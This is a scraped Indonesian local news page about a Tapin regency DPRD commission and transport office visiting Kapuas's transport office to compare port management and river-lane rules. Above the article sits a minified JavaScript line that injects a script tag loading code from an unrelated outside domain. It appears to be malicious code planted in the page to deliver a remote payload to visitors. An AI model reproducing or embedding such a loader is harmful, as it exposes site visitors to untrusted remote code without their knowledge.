(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Komisi III DPRD dan Dishub Kabupaten Tapin Kaji Banding ke Dishub Kapuas


KANALKALIMANTAN. COM, KUALA KAPUAS – Komisi III DPRD Kabupaten Tapin bersama dengan Kepala Dinas Perhubungan Kabupaten Tapin, Kalsel melakukan kunjungan kerja ke Dinas Perhubungan Kabupaten Kapuas. Kunjungan ini alam rangka meningkatkan pelayanan kepada masyarakat serta upaya untuk meningkatkan pendapatan asli daerah di bidang ke pelabuhanan dan Alur pelayaran sungai.

Kedatangan rombongan ke Kantor Dinas Perhubungan Kabupaten Kapuas disambut oleh Kepala Dinas Perhubungan Kabupaten Kapuas Vitrianson beserta seluruh jajarannya. Dalam kesempatan itu Komisi III DPRD dan Jajaran Dinas Perhubungan Kabupaten Tapin melakukan konsultasi/kaji banding berkaitan dengan kepelabuhanan.

Dijelaskan Vitrianson saat ditemui di kantornya, Senin (16/3/2020), kepelabuhanan di Kapuas dikelola oleh Pemerintah Daerah berdasarkan beberapa peraturan. Peraturan Bupati (PERBUB) Kapuas No.2 Tahun 2011 tentang pelayanan jasa usaha. Revisi Peraturan Bupati (PERBUB) no.35 tahun 2014 tentang perubahan tarif restribusi jasa usaha serta berkaitan dengan Pelabuhan yang dikelola oleh swasta seperti Terminal Khusus (TERSUS) laut, sungai dan Terminal Untuk Kepentingan Sendiri (TUKS) seperti TUKS Laut dan TUKS Sungai dan Danau.

Kepala Dinas Perhubungan Kabupaten Kapuas menegaskan bahwa terkait dengan alur pelayaran di sungai Kapuas telah ditetapkan oleh Kementerian Perhubungan Republik Indonesia. Dengan Keputusan Menteri No.531 Tahun 2016 tentang penetapan kelas alur Pelayaran Sungai Kapuas.

“Alur pelayaran sungai Kapuas sebagian besar alurnya adalah kelas III yang menjadi kewenangan penuh Pemerintah Kabupaten Kapuas. Sedangkan terkait dengan KP 531 Tahun 2016, Dinas Perhubungan Kabupaten Kapuas sudah membuat RAPERBUB tentang pengawasan terhadap angkutan kapal yang berlayar di alur pelayaran Kabupaten Kapuas. Dan sekarang RAPERBUB tersebut sudah mendapat persetujuan dari Dinas Perhubungan Provinsi Kalimantan Tengah. Dan tinggal menunggu turunnya dari Gubernur Kalimantan Tengah,” pungkasnya. (Kanalkalimantan.com/Ags)

Reporter : Ags
Editor : Chell


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

6 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

7 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

8 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.